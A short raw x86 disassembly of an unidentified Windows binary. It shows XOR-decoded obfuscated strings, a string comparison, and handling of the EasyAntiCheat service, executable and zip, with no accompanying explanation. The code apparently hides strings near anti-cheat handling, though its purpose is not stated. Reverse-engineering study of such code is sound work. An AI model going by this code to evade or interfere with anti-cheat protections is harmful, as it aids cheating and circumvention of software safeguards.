mov eax, dword [ebx + 0xb8]
mov word [ebp - 0x2030], 0x4368
test al, 1
jne 0x405f9c
or eax, 1
mov byte [ebx + 0x1b2], 1
mov dword [ebx + 0xb8], eax
xorps xmm0, xmm0
mov ax, word [ebp - 0x2030]
push 0x444c20
movlpd qword [ebp - 0x2020], xmm0
mov word [ebx + 0x1b0], ax
call fcn.0041dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x1b2], 0
lea eax, [eax + 0x1b0]
mov dword [ebp - 0x20bc], eax
je 0x406017
mov esi, dword [ebp - 0x20bc]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
mov ecx, ebx
mov eax, 0xe539435b
and ecx, 7
mov edx, 0x51599f1d
shl ecx, 3
call fcn.00443dd0
xor byte [esi + ebx], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x406001
cmp ebx, 2
jb 0x405fd6
mov eax, dword [ebp - 0x20bc]
mov ebx, dword [ebp - 0x209c]
mov byte [esi + 2], 0
mov esi, dword [ebp - 0x200c]
push eax
lea eax, [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x406134
mov eax, dword [ebx + 0x1d4]
mov dword [ebp - 0x2040], 0xae658968
mov word [ebp - 0x203c], 0xb92d
test al, 1
jne 0x4060aa
or eax, 1
mov byte [ebx + 0x15a], 1
mov dword [ebx + 0x1d4], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x2040]
mov dword [ebx + 0x154], eax
mov ax, word [ebp - 0x203c]
movlpd qword [ebp - 0x2020], xmm0
mov ecx, dword [ebp - 0x201c]
mov word [ebx + 0x158], ax
mov eax, dword [ebp - 0x2020]
nop dword [eax + eax]
add eax, 1
adc ecx, 0
jne 0x40609d
cmp eax, 6
jb 0x406090
push 0x444c00
call fcn.0041dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x15a], 0
lea edx, [eax + 0x154]
mov dword [ebp - 0x20bc], edx
je 0x40611b
xorps xmm0, xmm0
mov esi, edx
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
mov ecx, ebx
mov eax, 0xc707a75b
and ecx, 7
mov edx, 0xc7cfb943
shl ecx, 3
call fcn.00443dd0
xor byte [esi + ebx], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x40610b
cmp ebx, 6
jb 0x4060e0
mov edx, dword [ebp - 0x20bc]
mov byte [esi + 6], 0
mov esi, dword [ebp - 0x200c]
push 3
push str.EasyAntiCheat_Service
push str.EasyAntiCheat.exe
mov ecx, str.EasyAntiCheat.zip
call fcn.00403c50
add esp, 0xc
push dword [ebp - 0x20ac]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0x20b4]
call fcn.00406990
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp - 0x209c]
jmp 0x4057d6
push 0x459d64
call fcn.0041d88d
add esp, 4
cmp dword [0x459d64], 0xffffffff
jne 0x404e6c
push str.MessageBoxTimeoutW
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call ebx
push 0x459d64
mov dword [0x459d60], eax
call fcn.0041d83c
add esp, 4
jmp 0x404e6c